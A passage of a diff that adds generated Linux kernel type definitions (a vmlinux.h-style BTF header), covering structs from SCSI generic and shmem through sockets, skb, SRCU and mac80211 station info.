(*connect_phy)(void *, struct phy_device *); + void (*disconnect_phy)(void *, struct phy_device *); +}; + +struct sg { + struct ext4_group_info info; + ext4_grpblk_t counters[18]; +}; + +struct sg_append_table { + struct sg_table sgt; + struct scatterlist *prv; + unsigned int total_nents; +}; + +struct sg_device { + struct scsi_device *device; + wait_queue_head_t open_wait; + struct mutex open_rel_lock; + int sg_tablesize; + u32 index; + struct list_head sfds; + rwlock_t sfd_lock; + atomic_t detaching; + bool exclude; + int open_cnt; + char sgdebug; + char name[32]; + struct cdev *cdev; + struct kref d_ref; +}; + +typedef struct sg_device Sg_device; + +struct sg_page_iter { + struct scatterlist *sg; + unsigned int sg_pgoffset; + unsigned int __nents; + int __pg_advance; +}; + +struct sg_dma_page_iter { + struct sg_page_iter base; +}; + +struct sg_scatter_hold { + unsigned short k_use_sg; + unsigned int sglist_len; + unsigned int bufflen; + struct page **pages; + int page_order; + char dio_in_use; + unsigned char cmd_opcode; +}; + +typedef struct sg_scatter_hold Sg_scatter_hold; + +struct sg_io_hdr { + int interface_id; + int dxfer_direction; + unsigned char cmd_len; + unsigned char mx_sb_len; + unsigned short iovec_count; + unsigned int dxfer_len; + void __attribute__((btf_type_tag("user"))) *dxferp; + unsigned char __attribute__((btf_type_tag("user"))) *cmdp; + void __attribute__((btf_type_tag("user"))) *sbp; + unsigned int timeout; + unsigned int flags; + int pack_id; + void __attribute__((btf_type_tag("user"))) *usr_ptr; + unsigned char status; + unsigned char masked_status; + unsigned char msg_status; + unsigned char sb_len_wr; + unsigned short host_status; + unsigned short driver_status; + int resid; + unsigned int duration; + unsigned int info; +}; + +typedef struct sg_io_hdr sg_io_hdr_t; + +struct sg_fd; + +struct sg_request { + struct list_head entry; + struct sg_fd *parentfp; + Sg_scatter_hold data; + sg_io_hdr_t header; + unsigned char sense_b[96]; + char res_used; + char orphan; + char sg_io_owned; + char done; + struct request *rq; + struct bio *bio; + struct execute_work ew; +}; + +typedef struct sg_request Sg_request; + +struct sg_fd { + struct list_head sfd_siblings; + struct sg_device *parentdp; + wait_queue_head_t read_wait; + rwlock_t rq_list_lock; + struct mutex f_mutex; + int timeout; + int timeout_user; + Sg_scatter_hold reserve; + struct list_head rq_list; + struct fasync_struct *async_qp; + Sg_request req_arr[16]; + char force_packid; + char cmd_q; + unsigned char next_cmd_len; + char keep_orphan; + char mmap_called; + char res_in_use; + struct kref f_ref; + struct execute_work ew; +}; + +typedef struct sg_fd Sg_fd; + +struct sg_header { + int pack_len; + int reply_len; + int pack_id; + int result; + unsigned int twelve_byte: 1; + unsigned int target_status: 5; + unsigned int host_status: 8; + unsigned int driver_status: 8; + unsigned int other_flags: 10; + unsigned char sense_buffer[16]; +}; + +struct sg_io_v4 { + __s32 guard; + __u32 protocol; + __u32 subprotocol; + __u32 request_len; + __u64 request; + __u64 request_tag; + __u32 request_attr; + __u32 request_priority; + __u32 request_extra; + __u32 max_response_len; + __u64 response; + __u32 dout_iovec_count; + __u32 dout_xfer_len; + __u32 din_iovec_count; + __u32 din_xfer_len; + __u64 dout_xferp; + __u64 din_xferp; + __u32 timeout; + __u32 flags; + __u64 usr_ptr; + __u32 spare_in; + __u32 driver_status; + __u32 transport_status; + __u32 device_status; + __u32 retry_delay; + __u32 info; + __u32 duration; + __u32 response_len; + __s32 din_resid; + __s32 dout_resid; + __u64 generated_tag; + __u32 spare_out; + __u32 padding; +}; + +struct sg_mapping_iter { + struct page *page; + void *addr; + size_t length; + size_t consumed; + struct sg_page_iter piter; + unsigned int __offset; + unsigned int __remaining; + unsigned int __flags; +}; + +struct sg_pool { + size_t size; + char *name; + struct kmem_cache *slab; + mempool_t *pool; +}; + +struct sg_req_info { + char req_state; + char orphan; + char sg_io_owned; + char problem; + int pack_id; + void __attribute__((btf_type_tag("user"))) *usr_ptr; + unsigned int duration; + int unused; +}; + +typedef struct sg_req_info sg_req_info_t; + +struct sg_scsi_id { + int host_no; + int channel; + int scsi_id; + int lun; + int scsi_type; + short h_cmd_per_lun; + short d_queue_depth; + int unused[2]; +}; + +typedef struct sg_scsi_id sg_scsi_id_t; + +struct sha256_state { + u32 state[8]; + u64 count; + u8 buf[64]; +}; + +struct sha3_state { + u64 st[25]; + unsigned int rsiz; + unsigned int rsizw; + unsigned int partial; + u8 buf[144]; +}; + +struct sha512_state { + u64 state[8]; + u64 count[2]; + u8 buf[128]; +}; + +struct share_check { + struct btrfs_backref_share_check_ctx *ctx; + struct btrfs_root *root; + u64 inum; + u64 data_bytenr; + u64 data_extent_gen; + int share_count; + int self_ref_count; + bool have_delayed_delete_refs; +}; + +struct shared_policy { + struct rb_root root; + rwlock_t lock; +}; + +struct shash_alg { + int (*init)(struct shash_desc *); + int (*update)(struct shash_desc *, const u8 *, unsigned int); + int (*final)(struct shash_desc *, u8 *); + int (*finup)(struct shash_desc *, const u8 *, unsigned int, u8 *); + int (*digest)(struct shash_desc *, const u8 *, unsigned int, u8 *); + int (*export)(struct shash_desc *, void *); + int (*import)(struct shash_desc *, const void *); + int (*setkey)(struct crypto_shash *, const u8 *, unsigned int); + int (*init_tfm)(struct crypto_shash *); + void (*exit_tfm)(struct crypto_shash *); + int (*clone_tfm)(struct crypto_shash *, struct crypto_shash *); + unsigned int descsize; + union { + struct { + unsigned int digestsize; + unsigned int statesize; + struct crypto_alg base; + }; + struct hash_alg_common halg; + }; +}; + +struct shash_instance { + void (*free)(struct shash_instance *); + union { + struct { + char head[104]; + struct crypto_instance base; + } s; + struct shash_alg alg; + }; +}; + +struct shm_file_data { + int id; + struct ipc_namespace *ns; + struct file *file; + const struct vm_operations_struct *vm_ops; +}; + +struct shm_info { + int used_ids; + __kernel_ulong_t shm_tot; + __kernel_ulong_t shm_rss; + __kernel_ulong_t shm_swp; + __kernel_ulong_t swap_attempts; + __kernel_ulong_t swap_successes; +}; + +struct shmem_falloc { + wait_queue_head_t *waitq; + unsigned long start; + unsigned long next; + unsigned long nr_falloced; + unsigned long nr_unswapped; +}; + +struct shmem_inode_info { + spinlock_t lock; + unsigned int seals; + unsigned long flags; + unsigned long alloced; + unsigned long swapped; + union { + struct offset_ctx dir_offsets; + struct { + struct list_head shrinklist; + struct list_head swaplist; + }; + }; + struct timespec64 i_crtime; + struct shared_policy policy; + struct simple_xattrs xattrs; + unsigned long fallocend; + unsigned int fsflags; + atomic_t stop_eviction; + struct inode vfs_inode; +}; + +struct shmem_quota_limits { + qsize_t usrquota_bhardlimit; + qsize_t usrquota_ihardlimit; + qsize_t grpquota_bhardlimit; + qsize_t grpquota_ihardlimit; +}; + +struct shmem_options { + unsigned long long blocks; + unsigned long long inodes; + struct mempolicy *mpol; + kuid_t uid; + kgid_t gid; + umode_t mode; + bool full_inums; + int huge; + int seen; + bool noswap; + unsigned short quota_types; + struct shmem_quota_limits qlimits; +}; + +struct shmem_sb_info { + unsigned long max_blocks; + struct percpu_counter used_blocks; + unsigned long max_inodes; + unsigned long free_ispace; + raw_spinlock_t stat_lock; + umode_t mode; + unsigned char huge; + kuid_t uid; + kgid_t gid; + bool full_inums; + bool noswap; + ino_t next_ino; + ino_t __attribute__((btf_type_tag("percpu"))) *ino_batch; + struct mempolicy *mpol; + spinlock_t shrinklist_lock; + struct list_head shrinklist; + unsigned long shrinklist_len; + struct shmem_quota_limits qlimits; +}; + +struct shmid64_ds { + struct ipc64_perm shm_perm; + __kernel_size_t shm_segsz; + long shm_atime; + long shm_dtime; + long shm_ctime; + __kernel_pid_t shm_cpid; + __kernel_pid_t shm_lpid; + unsigned long shm_nattch; + unsigned long __unused4; + unsigned long __unused5; +}; + +struct shmid_ds { + struct ipc_perm shm_perm; + int shm_segsz; + __kernel_old_time_t shm_atime; + __kernel_old_time_t shm_dtime; + __kernel_old_time_t shm_ctime; + __kernel_ipc_pid_t shm_cpid; + __kernel_ipc_pid_t shm_lpid; + unsigned short shm_nattch; + unsigned short shm_unused; + void *shm_unused2; + void *shm_unused3; +}; + +struct shmid_kernel { + struct kern_ipc_perm shm_perm; + struct file *shm_file; + unsigned long shm_nattch; + unsigned long shm_segsz; + time64_t shm_atim; + time64_t shm_dtim; + time64_t shm_ctim; + struct pid *shm_cprid; + struct pid *shm_lprid; + struct ucounts *mlock_ucounts; + struct task_struct *shm_creator; + struct list_head shm_clist; + struct ipc_namespace *ns; + long: 64; + long: 64; + long: 64; +}; + +struct shminfo { + int shmmax; + int shmmin; + int shmmni; + int shmseg; + int shmall; +}; + +struct shminfo64 { + unsigned long shmmax; + unsigned long shmmin; + unsigned long shmmni; + unsigned long shmseg; + unsigned long shmall; + unsigned long __unused1; + unsigned long __unused2; + unsigned long __unused3; + unsigned long __unused4; +}; + +struct shortname_info { + unsigned char lower: 1; + unsigned char upper: 1; + unsigned char valid: 1; +}; + +struct show_busy_params { + struct seq_file *m; + struct blk_mq_hw_ctx *hctx; +}; + +struct shrink_control { + gfp_t gfp_mask; + int nid; + unsigned long nr_to_scan; + unsigned long nr_scanned; + struct mem_cgroup *memcg; +}; + +struct shrinker { + unsigned long (*count_objects)(struct shrinker *, struct shrink_control *); + unsigned long (*scan_objects)(struct shrinker *, struct shrink_control *); + long batch; + int seeks; + unsigned int flags; + refcount_t refcount; + struct completion done; + struct callback_head rcu; + void *private_data; + struct list_head list; + int id; + atomic_long_t *nr_deferred; +}; + +struct shrinker_info_unit; + +struct shrinker_info { + struct callback_head rcu; + int map_nr_max; + struct shrinker_info_unit *unit[0]; +}; + +struct shrinker_info_unit { + atomic_long_t nr_deferred[64]; + unsigned long map[1]; +}; + +typedef struct sigevent sigevent_t; + +struct sighand_struct { + spinlock_t siglock; + refcount_t count; + wait_queue_head_t signalfd_wqh; + struct k_sigaction action[64]; +}; + +struct sigpending { + struct list_head list; + sigset_t signal; +}; + +struct task_cputime_atomic { + atomic64_t utime; + atomic64_t stime; + atomic64_t sum_exec_runtime; +}; + +struct thread_group_cputimer { + struct task_cputime_atomic cputime_atomic; +}; + +struct task_io_accounting { + u64 rchar; + u64 wchar; + u64 syscr; + u64 syscw; + u64 read_bytes; + u64 write_bytes; + u64 cancelled_write_bytes; +}; + +struct taskstats; + +struct signal_struct { + refcount_t sigcnt; + atomic_t live; + int nr_threads; + int quick_threads; + struct list_head thread_head; + wait_queue_head_t wait_chldexit; + struct task_struct *curr_target; + struct sigpending shared_pending; + struct hlist_head multiprocess; + int group_exit_code; + int notify_count; + struct task_struct *group_exec_task; + int group_stop_count; + unsigned int flags; + struct core_state *core_state; + unsigned int is_child_subreaper: 1; + unsigned int has_child_subreaper: 1; + unsigned int next_posix_timer_id; + struct hlist_head posix_timers; + struct hrtimer real_timer; + ktime_t it_real_incr; + struct cpu_itimer it[2]; + struct thread_group_cputimer cputimer; + struct posix_cputimers posix_cputimers; + struct pid *pids[4]; + atomic_t tick_dep_mask; + struct pid *tty_old_pgrp; + int leader; + struct tty_struct *tty; + seqlock_t stats_lock; + u64 utime; + u64 stime; + u64 cutime; + u64 cstime; + u64 gtime; + u64 cgtime; + struct prev_cputime prev_cputime; + unsigned long nvcsw; + unsigned long nivcsw; + unsigned long cnvcsw; + unsigned long cnivcsw; + unsigned long min_flt; + unsigned long maj_flt; + unsigned long cmin_flt; + unsigned long cmaj_flt; + unsigned long inblock; + unsigned long oublock; + unsigned long cinblock; + unsigned long coublock; + unsigned long maxrss; + unsigned long cmaxrss; + struct task_io_accounting ioac; + unsigned long long sum_sched_runtime; + struct rlimit rlim[16]; + struct pacct_struct pacct; + struct taskstats *stats; + bool oom_flag_origin; + short oom_score_adj; + short oom_score_adj_min; + struct mm_struct *oom_mm; + struct mutex cred_guard_mutex; + struct rw_semaphore exec_update_lock; +}; + +struct signalfd_ctx { + sigset_t sigmask; +}; + +struct signalfd_siginfo { + __u32 ssi_signo; + __s32 ssi_errno; + __s32 ssi_code; + __u32 ssi_pid; + __u32 ssi_uid; + __s32 ssi_fd; + __u32 ssi_tid; + __u32 ssi_band; + __u32 ssi_overrun; + __u32 ssi_trapno; + __s32 ssi_status; + __s32 ssi_int; + __u64 ssi_ptr; + __u64 ssi_utime; + __u64 ssi_stime; + __u64 ssi_addr; + __u16 ssi_addr_lsb; + __u16 __pad2; + __s32 ssi_syscall; + __u64 ssi_call_addr; + __u32 ssi_arch; + __u8 __pad[28]; +}; + +struct sigqueue { + struct list_head list; + int flags; + kernel_siginfo_t info; + struct ucounts *ucounts; +}; + +struct sigset_argpack { + sigset_t __attribute__((btf_type_tag("user"))) *p; + size_t size; +}; + +struct simple_attr { + int (*get)(void *, u64 *); + int (*set)(void *, u64); + char get_buf[24]; + char set_buf[24]; + void *data; + const char *fmt; + struct mutex mutex; +}; + +struct simple_transaction_argresp { + ssize_t size; + char data[0]; +}; + +struct simple_xattr { + struct rb_node rb_node; + char *name; + size_t size; + char value[0]; +}; + +struct simplefb_platform_data { + u32 width; + u32 height; + u32 stride; + const char *format; +}; + +struct sit_net { + struct ip_tunnel __attribute__((btf_type_tag("rcu"))) *tunnels_r_l[16]; + struct ip_tunnel __attribute__((btf_type_tag("rcu"))) *tunnels_r[16]; + struct ip_tunnel __attribute__((btf_type_tag("rcu"))) *tunnels_l[16]; + struct ip_tunnel __attribute__((btf_type_tag("rcu"))) *tunnels_wc[1]; + struct ip_tunnel __attribute__((btf_type_tag("rcu"))) **tunnels[4]; + struct net_device *fb_tunnel_dev; +}; + +struct sk_buff__safe_rcu_or_null { + struct sock *sk; +}; + +struct sk_buff_fclones { + struct sk_buff skb1; + struct sk_buff skb2; + refcount_t fclone_ref; +}; + +struct sk_filter { + refcount_t refcnt; + struct callback_head rcu; + struct bpf_prog *prog; +}; + +struct sk_psock_work_state { + u32 len; + u32 off; +}; + +struct sk_psock { + struct sock *sk; + struct sock *sk_redir; + u32 apply_bytes; + u32 cork_bytes; + u32 eval; + bool redir_ingress; + struct sk_msg *cork; + struct sk_psock_progs progs; + struct sk_buff_head ingress_skb; + struct list_head ingress_msg; + spinlock_t ingress_lock; + unsigned long state; + struct list_head link; + spinlock_t link_lock; + refcount_t refcnt; + void (*saved_unhash)(struct sock *); + void (*saved_destroy)(struct sock *); + void (*saved_close)(struct sock *, long); + void (*saved_write_space)(struct sock *); + void (*saved_data_ready)(struct sock *); + int (*psock_update_sk_prot)(struct sock *, struct sk_psock *, bool); + struct proto *sk_proto; + struct mutex work_mutex; + struct sk_psock_work_state work_state; + struct delayed_work work; + struct sock *sk_pair; + struct rcu_work rwork; +}; + +struct sk_psock_link { + struct list_head list; + struct bpf_map *map; + void *link_raw; +}; + +struct skb_checksum_ops { + __wsum (*update)(const void *, int, __wsum); + __wsum (*combine)(__wsum, __wsum, int, int); +}; + +struct skb_ext { + refcount_t refcnt; + u8 offset[1]; + u8 chunks; + long: 0; + char data[0]; +}; + +struct skb_frag { + netmem_ref netmem; + unsigned int len; + unsigned int offset; +}; + +typedef struct skb_frag skb_frag_t; + +struct skb_frame_desc { + u8 flags; + u8 desc_len; + u8 tx_rate_idx; + u8 tx_rate_flags; + void *desc; + __le32 iv[2]; + dma_addr_t skb_dma; + struct ieee80211_sta *sta; +}; + +struct skb_free_array { + unsigned int skb_count; + void *skb_array[16]; +}; + +struct skb_gso_cb { + union { + int mac_offset; + int data_offset; + }; + int encap_level; + __wsum csum; + __u16 csum_start; +}; + +struct skb_seq_state { + __u32 lower_offset; + __u32 upper_offset; + __u32 frag_idx; + __u32 stepped_offset; + struct sk_buff *root_skb; + struct sk_buff *cur_skb; + __u8 *frag_data; + __u32 frag_off; +}; + +struct skb_shared_hwtstamps { + union { + ktime_t hwtstamp; + void *netdev_data; + }; +}; + +struct xsk_tx_metadata_compl { + __u64 *tx_timestamp; +}; + +struct skb_shared_info { + __u8 flags; + __u8 meta_len; + __u8 nr_frags; + __u8 tx_flags; + unsigned short gso_size; + unsigned short gso_segs; + struct sk_buff *frag_list; + union { + struct skb_shared_hwtstamps hwtstamps; + struct xsk_tx_metadata_compl xsk_meta; + }; + unsigned int gso_type; + u32 tskey; + atomic_t dataref; + unsigned int xdp_frags_size; + void *destructor_arg; + skb_frag_t frags[17]; +}; + +struct skcipher_alg { + int (*setkey)(struct crypto_skcipher *, const u8 *, unsigned int); + int (*encrypt)(struct skcipher_request *); + int (*decrypt)(struct skcipher_request *); + int (*export)(struct skcipher_request *, void *); + int (*import)(struct skcipher_request *, const void *); + int (*init)(struct crypto_skcipher *); + void (*exit)(struct crypto_skcipher *); + unsigned int walksize; + union { + struct { + unsigned int min_keysize; + unsigned int max_keysize; + unsigned int ivsize; + unsigned int chunksize; + unsigned int statesize; + struct crypto_alg base; + }; + struct skcipher_alg_common co; + }; +}; + +struct skcipher_ctx_simple { + struct crypto_cipher *cipher; +}; + +struct skcipher_instance { + void (*free)(struct skcipher_instance *); + union { + struct { + char head[88]; + struct crypto_instance base; + } s; + struct skcipher_alg alg; + }; +}; + +struct skcipher_walk { + union { + struct { + struct page *page; + unsigned long offset; + } phys; + struct { + u8 *page; + void *addr; + } virt; + } src; + union { + struct { + struct page *page; + unsigned long offset; + } phys; + struct { + u8 *page; + void *addr; + } virt; + } dst; + struct scatter_walk in; + unsigned int nbytes; + struct scatter_walk out; + unsigned int total; + struct list_head buffers; + u8 *page; + u8 *buffer; + u8 *oiv; + void *iv; + unsigned int ivsize; + int flags; + unsigned int blocksize; + unsigned int stride; + unsigned int alignmask; +}; + +struct skcipher_walk_buffer { + struct list_head entry; + struct scatter_walk dst; + unsigned int len; + u8 *data; + u8 buffer[0]; +}; + +struct sku_microcode { + u32 vfm; + u8 stepping; + u32 microcode; +}; + +struct slab { + unsigned long __page_flags; + struct kmem_cache *slab_cache; + union { + struct { + union { + struct list_head slab_list; + struct { + struct slab *next; + int slabs; + }; + }; + union { + struct { + void *freelist; + union { + unsigned long counters; + struct { + unsigned int inuse: 16; + unsigned int objects: 15; + unsigned int frozen: 1; + }; + }; + }; + freelist_aba_t freelist_counter; + }; + }; + struct callback_head callback_head; + }; + unsigned int __page_type; + atomic_t __page_refcount; + unsigned long obj_exts; +}; + +struct slab_attribute { + struct attribute attr; + ssize_t (*show)(struct kmem_cache *, char *); + ssize_t (*store)(struct kmem_cache *, const char *, size_t); +}; + +struct slabobj_ext { + struct obj_cgroup *objcg; +}; + +struct slub_flush_work { + struct work_struct work; + struct kmem_cache *s; + bool skip; +}; + +struct smp_alt_module { + struct module *mod; + char *name; + const s32 *locks; + const s32 *locks_end; + u8 *text; + u8 *text_end; + struct list_head next; +}; + +struct smp_call_on_cpu_struct { + struct work_struct work; + struct completion done; + int (*func)(void *); + void *data; + int ret; + int cpu; +}; + +struct smp_hotplug_thread { + struct task_struct * __attribute__((btf_type_tag("percpu"))) *store; + struct list_head list; + int (*thread_should_run)(unsigned int); + void (*thread_fn)(unsigned int); + void (*create)(unsigned int); + void (*setup)(unsigned int); + void (*cleanup)(unsigned int, bool); + void (*park)(unsigned int); + void (*unpark)(unsigned int); + bool selfparking; + const char *thread_comm; +}; + +struct smp_ops { + void (*smp_prepare_boot_cpu)(void); + void (*smp_prepare_cpus)(unsigned int); + void (*smp_cpus_done)(unsigned int); + void (*stop_other_cpus)(int); + void (*crash_stop_other_cpus)(void); + void (*smp_send_reschedule)(int); + void (*cleanup_dead_cpu)(unsigned int); + void (*poll_sync_state)(void); + int (*kick_ap_alive)(unsigned int, struct task_struct *); + int (*cpu_disable)(void); + void (*cpu_die)(unsigned int); + void (*play_dead)(void); + void (*stop_this_cpu)(void); + void (*send_call_func_ipi)(const struct cpumask *); + void (*send_call_func_single_ipi)(int); +}; + +struct smpboot_thread_data { + unsigned int cpu; + unsigned int status; + struct smp_hotplug_thread *ht; +}; + +struct snapshot_handle { + unsigned int cur; + void *buffer; + int sync_read; +}; + +struct snapshot_data { + struct snapshot_handle handle; + int swap; + int mode; + bool frozen; + bool ready; + bool platform_support; + bool free_bitmaps; + dev_t dev; +}; + +struct snmp_mib { + const char *name; + int entry; +}; + +struct so_timestamping { + int flags; + int bind_phc; +}; + +struct sock_bh_locked { + struct sock *sock; + local_lock_t bh_lock; +}; + +struct sock_diag_handler { + struct module *owner; + __u8 family; + int (*dump)(struct sk_buff *, struct nlmsghdr *); + int (*get_info)(struct sk_buff *, struct sock *); + int (*destroy)(struct sk_buff *, struct nlmsghdr *); +}; + +struct sock_diag_inet_compat { + struct module *owner; + int (*fn)(struct sk_buff *, struct nlmsghdr *); +}; + +struct sock_diag_req { + __u8 sdiag_family; + __u8 sdiag_protocol; +}; + +struct sock_ee_data_rfc4884 { + __u16 len; + __u8 flags; + __u8 reserved; +}; + +struct sock_extended_err { + __u32 ee_errno; + __u8 ee_origin; + __u8 ee_type; + __u8 ee_code; + __u8 ee_pad; + __u32 ee_info; + union { + __u32 ee_data; + struct sock_ee_data_rfc4884 ee_rfc4884; + }; +}; + +struct sock_exterr_skb { + union { + struct inet_skb_parm h4; + struct inet6_skb_parm h6; + } header; + struct sock_extended_err ee; + u16 addr_offset; + __be16 port; + u8 opt_stats: 1; + u8 unused: 7; +}; + +struct sock_fprog { + unsigned short len; + struct sock_filter __attribute__((btf_type_tag("user"))) *filter; +}; + +struct sock_fprog_kern { + u16 len; + struct sock_filter *filter; +}; + +struct sock_hash_seq_info { + struct bpf_map *map; + struct bpf_shtab *htab; + u32 bucket_id; +}; + +struct sock_map_seq_info { + struct bpf_map *map; + struct sock *sk; + u32 index; +}; + +struct sock_reuseport { + struct callback_head rcu; + u16 max_socks; + u16 num_socks; + u16 num_closed_socks; + u16 incoming_cpu; + unsigned int synq_overflow_ts; + unsigned int reuseport_id; + unsigned int bind_inany: 1; + unsigned int has_conns: 1; + struct bpf_prog __attribute__((btf_type_tag("rcu"))) *prog; + struct sock *socks[0]; +}; + +struct sock_skb_cb { + u32 dropcount; +}; + +struct sock_txtime { + __kernel_clockid_t clockid; + __u32 flags; +}; + +struct sockaddr_in { + __kernel_sa_family_t sin_family; + __be16 sin_port; + struct in_addr sin_addr; + unsigned char __pad[8]; +}; + +struct sockaddr_nl { + __kernel_sa_family_t nl_family; + unsigned short nl_pad; + __u32 nl_pid; + __u32 nl_groups; +}; + +struct sockaddr_un { + __kernel_sa_family_t sun_family; + char sun_path[108]; +}; + +struct socket_wq { + wait_queue_head_t wait; + struct fasync_struct *fasync_list; + unsigned long flags; + struct callback_head rcu; + long: 64; + long: 64; +}; + +struct socket { + socket_state state; + short type; + unsigned long flags; + struct file *file; + struct sock *sk; + const struct proto_ops *ops; + long: 64; + long: 64; + long: 64; + struct socket_wq wq; +}; + +struct socket__safe_trusted_or_null { + struct sock *sk; +}; + +struct socket_alloc { + struct socket socket; + struct inode vfs_inode; + long: 64; + long: 64; + long: 64; +}; + +struct sockmap_link { + struct bpf_link link; + struct bpf_map *map; + enum bpf_attach_type attach_type; +}; + +struct softirq_action { + void (*action)(void); +}; + +struct softnet_data { + struct list_head poll_list; + struct sk_buff_head process_queue; + local_lock_t process_queue_bh_lock; + unsigned int processed; + unsigned int time_squeeze; + struct softnet_data *rps_ipi_list; + unsigned int received_rps; + bool in_net_rx_action; + bool in_napi_threaded_poll; + struct sd_flow_limit __attribute__((btf_type_tag("rcu"))) *flow_limit; + struct Qdisc *output_queue; + struct Qdisc **output_queue_tailp; + struct sk_buff *completion_queue; + struct netdev_xmit xmit; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + unsigned int input_queue_head; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + call_single_data_t csd; + struct softnet_data *rps_ipi_next; + unsigned int cpu; + unsigned int input_queue_tail; + struct sk_buff_head input_pkt_queue; + struct napi_struct backlog; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + atomic_t dropped; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + spinlock_t defer_lock; + int defer_count; + int defer_ipi_scheduled; + struct sk_buff *defer_list; + long: 64; + long: 64; + call_single_data_t defer_csd; +}; + +struct software_node { + const char *name; + const struct software_node *parent; + const struct property_entry *properties; +}; + +struct sp_node { + struct rb_node nd; + unsigned long start; + unsigned long end; + struct mempolicy *policy; +}; + +struct space_resv { + __s16 l_type; + __s16 l_whence; + __s64 l_start; + __s64 l_len; + __s32 l_sysid; + __u32 l_pid; + __s32 l_pad[4]; +}; + +struct speed_down_verdict_arg { + u64 since; + int xfer_ok; + int nr_errors[8]; +}; + +struct spi_function_template { + void (*get_period)(struct scsi_target *); + void (*set_period)(struct scsi_target *, int); + void (*get_offset)(struct scsi_target *); + void (*set_offset)(struct scsi_target *, int); + void (*get_width)(struct scsi_target *); + void (*set_width)(struct scsi_target *, int); + void (*get_iu)(struct scsi_target *); + void (*set_iu)(struct scsi_target *, int); + void (*get_dt)(struct scsi_target *); + void (*set_dt)(struct scsi_target *, int); + void (*get_qas)(struct scsi_target *); + void (*set_qas)(struct scsi_target *, int); + void (*get_wr_flow)(struct scsi_target *); + void (*set_wr_flow)(struct scsi_target *, int); + void (*get_rd_strm)(struct scsi_target *); + void (*set_rd_strm)(struct scsi_target *, int); + void (*get_rti)(struct scsi_target *); + void (*set_rti)(struct scsi_target *, int); + void (*get_pcomp_en)(struct scsi_target *); + void (*set_pcomp_en)(struct scsi_target *, int); + void (*get_hold_mcs)(struct scsi_target *); + void (*set_hold_mcs)(struct scsi_target *, int); + void (*get_signalling)(struct Scsi_Host *); + void (*set_signalling)(struct Scsi_Host *, enum spi_signal_type); + int (*deny_binding)(struct scsi_target *); + unsigned long show_period: 1; + unsigned long show_offset: 1; + unsigned long show_width: 1; + unsigned long show_iu: 1; + unsigned long show_dt: 1; + unsigned long show_qas: 1; + unsigned long show_wr_flow: 1; + unsigned long show_rd_strm: 1; + unsigned long show_rti: 1; + unsigned long show_pcomp_en: 1; + unsigned long show_hold_mcs: 1; +}; + +struct spi_host_attrs { + enum spi_signal_type signalling; +}; + +struct spi_internal { + struct scsi_transport_template t; + struct spi_function_template *f; +}; + +struct spi_transport_attrs { + int period; + int min_period; + int offset; + int max_offset; + unsigned int width: 1; + unsigned int max_width: 1; + unsigned int iu: 1; + unsigned int max_iu: 1; + unsigned int dt: 1; + unsigned int qas: 1; + unsigned int max_qas: 1; + unsigned int wr_flow: 1; + unsigned int rd_strm: 1; + unsigned int rti: 1; + unsigned int pcomp_en: 1; + unsigned int hold_mcs: 1; + unsigned int initial_dv: 1; + unsigned long flags; + unsigned int support_sync: 1; + unsigned int support_wide: 1; + unsigned int support_dt: 1; + unsigned int support_dt_only; + unsigned int support_ius; + unsigned int support_qas; + unsigned int dv_pending: 1; + unsigned int dv_in_progress: 1; + struct mutex dv_mutex; +}; + +struct splice_desc { + size_t total_len; + unsigned int len; + unsigned int flags; + union { + void __attribute__((btf_type_tag("user"))) *userptr; + struct file *file; + void *data; + } u; + void (*splice_eof)(struct splice_desc *); + loff_t pos; + loff_t *opos; + size_t num_spliced; + bool need_wakeup; +}; + +struct splice_pipe_desc { + struct page **pages; + struct partial_page *partial; + int nr_pages; + unsigned int nr_pages_max; + const struct pipe_buf_operations *ops; + void (*spd_release)(struct splice_pipe_desc *, unsigned int); +}; + +struct sr6_tlv { + __u8 type; + __u8 len; + __u8 data[0]; +}; + +struct srcu_data { + atomic_long_t srcu_lock_count[2]; + atomic_long_t srcu_unlock_count[2]; + int srcu_nmi_safety; + long: 64; + long: 64; + long: 64; + spinlock_t lock; + struct rcu_segcblist srcu_cblist; + unsigned long srcu_gp_seq_needed; + unsigned long srcu_gp_seq_needed_exp; + bool srcu_cblist_invoking; + struct timer_list delay_work; + struct work_struct work; + struct callback_head srcu_barrier_head; + struct srcu_node *mynode; + unsigned long grpmask; + int cpu; + struct srcu_struct *ssp; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct srcu_node { + spinlock_t lock; + unsigned long srcu_have_cbs[4]; + unsigned long srcu_data_have_cbs[4]; + unsigned long srcu_gp_seq_needed_exp; + struct srcu_node *srcu_parent; + int grplo; + int grphi; +}; + +struct ssb_state { + struct ssb_state *shared_state; + raw_spinlock_t lock; + unsigned int disable_state; + unsigned long local_state; +}; + +struct tid_ampdu_rx; + +struct tid_ampdu_tx; + +struct sta_ampdu_mlme { + struct tid_ampdu_rx __attribute__((btf_type_tag("rcu"))) *tid_rx[16]; + u8 tid_rx_token[16]; + unsigned long tid_rx_timer_expired[1]; + unsigned long tid_rx_stop_requested[1]; + unsigned long tid_rx_manage_offl[1]; + unsigned long agg_session_valid[1]; + unsigned long unexpected_agg[1]; + struct wiphy_work work; + struct tid_ampdu_tx __attribute__((btf_type_tag("rcu"))) *tid_tx[16]; + struct tid_ampdu_tx *tid_start_tx[16]; + unsigned long last_addba_req_time[16]; + u8 addba_req_num[16]; + u8 dialog_token_allocator; +}; + +struct sta_bss_parameters { + u8 flags; + u8 dtim_period; + u16 beacon_interval; +}; + +struct sta_csa_rnr_iter_data { + struct ieee80211_link_data *link; + struct ieee80211_channel *chan; + u8 mld_id; +}; + +struct sta_info { + struct list_head list; + struct list_head free_list; + struct callback_head callback_head; + struct rhlist_head hash_node; + u8 addr[6]; + struct ieee80211_local *local; + struct ieee80211_sub_if_data *sdata; + struct ieee80211_key __attribute__((btf_type_tag("rcu"))) *ptk[4]; + u8 ptk_idx; + struct rate_control_ref *rate_ctrl; + void *rate_ctrl_priv; + spinlock_t rate_ctrl_lock; + spinlock_t lock; + struct ieee80211_fast_tx __attribute__((btf_type_tag("rcu"))) *fast_tx; + struct ieee80211_fast_rx __attribute__((btf_type_tag("rcu"))) *fast_rx; + struct work_struct drv_deliver_wk; + u16 listen_interval; + bool dead; + bool removed; + bool uploaded; + enum ieee80211_sta_state sta_state; + unsigned long _flags; + spinlock_t ps_lock; + struct sk_buff_head ps_tx_buf[4]; + struct sk_buff_head tx_filtered[4]; + unsigned long driver_buffered_tids; + unsigned long 